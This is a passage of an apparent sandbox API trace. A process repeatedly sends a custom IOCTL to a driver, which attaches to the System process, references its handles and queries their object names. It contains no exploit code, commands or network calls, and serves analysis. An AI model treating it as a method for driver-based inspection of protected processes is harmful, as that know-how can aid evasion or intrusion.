ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.066] ObfDereferenceObject (Object=0xfffffa8002f649e0) returned 0x1 [0135.066] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.066] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.066] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.066] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0135.066] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.066] PsAcquireProcessExitSynchronization () returned 0x0 [0135.066] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.066] ObReferenceObjectByHandle (in: Handle=0xffffffff80000408, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800bbffc60, HandleInformation=0x0) returned 0x0 [0135.066] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.066] PsReleaseProcessExitSynchronization () returned 0x2 [0135.066] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.066] ObQueryNameString (in: Object=0xfffffa800bbffc60, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.066] ObfDereferenceObject (Object=0xfffffa800bbffc60) returned 0x1 [0135.066] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.066] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.066] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.067] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x16c, lpOverlapped=0x0) returned 1 [0135.067] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.067] PsAcquireProcessExitSynchronization () returned 0x0 [0135.067] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.067] ObReferenceObjectByHandle (in: Handle=0xffffffff8000040c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031f4dc0, HandleInformation=0x0) returned 0x0 [0135.067] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.067] PsReleaseProcessExitSynchronization () returned 0x2 [0135.067] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.067] ObQueryNameString (in: Object=0xfffffa80031f4dc0, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.067] ObfDereferenceObject (Object=0xfffffa80031f4dc0) returned 0x2 [0135.067] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.067] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.067] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.067] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x16c, lpOverlapped=0x0) returned 1 [0135.067] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.067] PsAcquireProcessExitSynchronization () returned 0x0 [0135.067] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.067] ObReferenceObjectByHandle (in: Handle=0xffffffff80000410, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031f38a0, HandleInformation=0x0) returned 0x0 [0135.067] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.067] PsReleaseProcessExitSynchronization () returned 0x2 [0135.067] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.067] ObQueryNameString (in: Object=0xfffffa80031f38a0, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.067] ObfDereferenceObject (Object=0xfffffa80031f38a0) returned 0x2 [0135.067] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.067] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.067] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.067] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0135.067] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.067] PsAcquireProcessExitSynchronization () returned 0x0 [0135.067] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.067] ObReferenceObjectByHandle (in: Handle=0xffffffff80000418, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031f35f0, HandleInformation=0x0) returned 0x0 [0135.067] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.068] PsReleaseProcessExitSynchronization () returned 0x2 [0135.068] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.068] ObQueryNameString (in: Object=0xfffffa80031f35f0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0135.068] ObfDereferenceObject (Object=0xfffffa80031f35f0) returned 0x1 [0135.068] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.068] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.068] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.068] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0135.068] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.068] PsAcquireProcessExitSynchronization () returned 0x0 [0135.068] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.068] ObReferenceObjectByHandle (in: Handle=0xffffffff8000041c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031f4850, HandleInformation=0x0) returned 0x0 [0135.068] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.068] PsReleaseProcessExitSynchronization () returned 0x2 [0135.068] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.068] ObQueryNameString (in: Object=0xfffffa80031f4850, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.068] ObfDereferenceObject (Object=0xfffffa80031f4850) returned 0x2 [0135.068] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.068] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.068] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.068] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.068] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.068] PsAcquireProcessExitSynchronization () returned 0x0 [0135.068] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.068] ObReferenceObjectByHandle (in: Handle=0xffffffff80000498, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80032afae0, HandleInformation=0x0) returned 0x0 [0135.068] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.068] PsReleaseProcessExitSynchronization () returned 0x2 [0135.068] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.068] ObQueryNameString (in: Object=0xfffffa80032afae0, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.068] ObfDereferenceObject (Object=0xfffffa80032afae0) returned 0x1 [0135.068] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.068] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.068] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.069] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.069] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.069] PsAcquireProcessExitSynchronization () returned 0x0 [0135.069] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.069] ObReferenceObjectByHandle (in: Handle=0xffffffff800004a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80032a53f0, HandleInformation=0x0) returned 0x0 [0135.069] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.069] PsReleaseProcessExitSynchronization () returned 0x2 [0135.069] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.069] ObQueryNameString (in: Object=0xfffffa80032a53f0, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.069] ObfDereferenceObject (Object=0xfffffa80032a53f0) returned 0x1 [0135.069] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.069] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.069] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.069] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0135.069] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.069] PsAcquireProcessExitSynchronization () returned 0x0 [0135.069] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.069] ObReferenceObjectByHandle (in: Handle=0xffffffff800004d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003435920, HandleInformation=0x0) returned 0x0 [0135.069] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.069] PsReleaseProcessExitSynchronization () returned 0x2 [0135.069] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.069] ObQueryNameString (in: Object=0xfffffa8003435920, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.069] ObfDereferenceObject (Object=0xfffffa8003435920) returned 0x2 [0135.069] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.069] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.069] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.069] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0135.069] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.069] PsAcquireProcessExitSynchronization () returned 0x0 [0135.069] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.070] ObReferenceObjectByHandle (in: Handle=0xffffffff800004d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f95050, HandleInformation=0x0) returned 0x0 [0135.070] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.070] PsReleaseProcessExitSynchronization () returned 0x2 [0135.070] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.070] ObQueryNameString (in: Object=0xfffffa8002f95050, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.070] ObfDereferenceObject (Object=0xfffffa8002f95050) returned 0x2 [0135.070] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.070] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.070] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.070] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.070] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.070] PsAcquireProcessExitSynchronization () returned 0x0 [0135.070] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.070] ObReferenceObjectByHandle (in: Handle=0xffffffff800004ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002511ad0, HandleInformation=0x0) returned 0x0 [0135.070] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.070] PsReleaseProcessExitSynchronization () returned 0x2 [0135.070] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.070] ObQueryNameString (in: Object=0xfffffa8002511ad0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.070] ObfDereferenceObject (Object=0xfffffa8002511ad0) returned 0x2 [0135.070] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.070] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.070] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.070] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.070] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.070] PsAcquireProcessExitSynchronization () returned 0x0 [0135.070] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.070] ObReferenceObjectByHandle (in: Handle=0xffffffff800004f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800d9fb050, HandleInformation=0x0) returned 0x0 [0135.070] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.070] PsReleaseProcessExitSynchronization () returned 0x2 [0135.070] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.070] ObQueryNameString (in: Object=0xfffffa800d9fb050, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.071] ObfDereferenceObject (Object=0xfffffa800d9fb050) returned 0x2 [0135.071] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.071] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.071] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.071] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0135.071] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.071] PsAcquireProcessExitSynchronization () returned 0x0 [0135.071] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.071] ObReferenceObjectByHandle (in: Handle=0xffffffff800004f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8011864580, HandleInformation=0x0) returned 0x0 [0135.071] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.071] PsReleaseProcessExitSynchronization () returned 0x2 [0135.071] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.071] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0135.071] ObfDereferenceObject (Object=0xfffffa8011864580) returned 0x1 [0135.071] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.071] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.071] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.071] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.071] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.071] PsAcquireProcessExitSynchronization () returned 0x0 [0135.071] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.071] ObReferenceObjectByHandle (in: Handle=0xffffffff800004fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001fa6cb0, HandleInformation=0x0) returned 0x0 [0135.071] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.071] PsReleaseProcessExitSynchronization () returned 0x2 [0135.071] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.071] ObQueryNameString (in: Object=0xfffffa8001fa6cb0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.071] ObfDereferenceObject (Object=0xfffffa8001fa6cb0) returned 0x2 [0135.071] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.071] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.071] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.071] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.071] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.071] PsAcquireProcessExitSynchronization () returned 0x0 [0135.072] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.072] ObReferenceObjectByHandle (in: Handle=0xffffffff80000508, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80033f79a0, HandleInformation=0x0) returned 0x0 [0135.072] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.072] PsReleaseProcessExitSynchronization () returned 0x2 [0135.072] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.072] ObQueryNameString (in: Object=0xfffffa80033f79a0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.072] ObfDereferenceObject (Object=0xfffffa80033f79a0) returned 0x2 [0135.072] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.072] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.072] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.072] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.072] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.072] PsAcquireProcessExitSynchronization () returned 0x0 [0135.072] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.072] ObReferenceObjectByHandle (in: Handle=0xffffffff8000051c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80038d8190, HandleInformation=0x0) returned 0x0 [0135.072] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.072] PsReleaseProcessExitSynchronization () returned 0x2 [0135.072] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.072] ObQueryNameString (in: Object=0xfffffa80038d8190, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.072] ObfDereferenceObject (Object=0xfffffa80038d8190) returned 0x2 [0135.072] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.072] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.072] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.072] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, 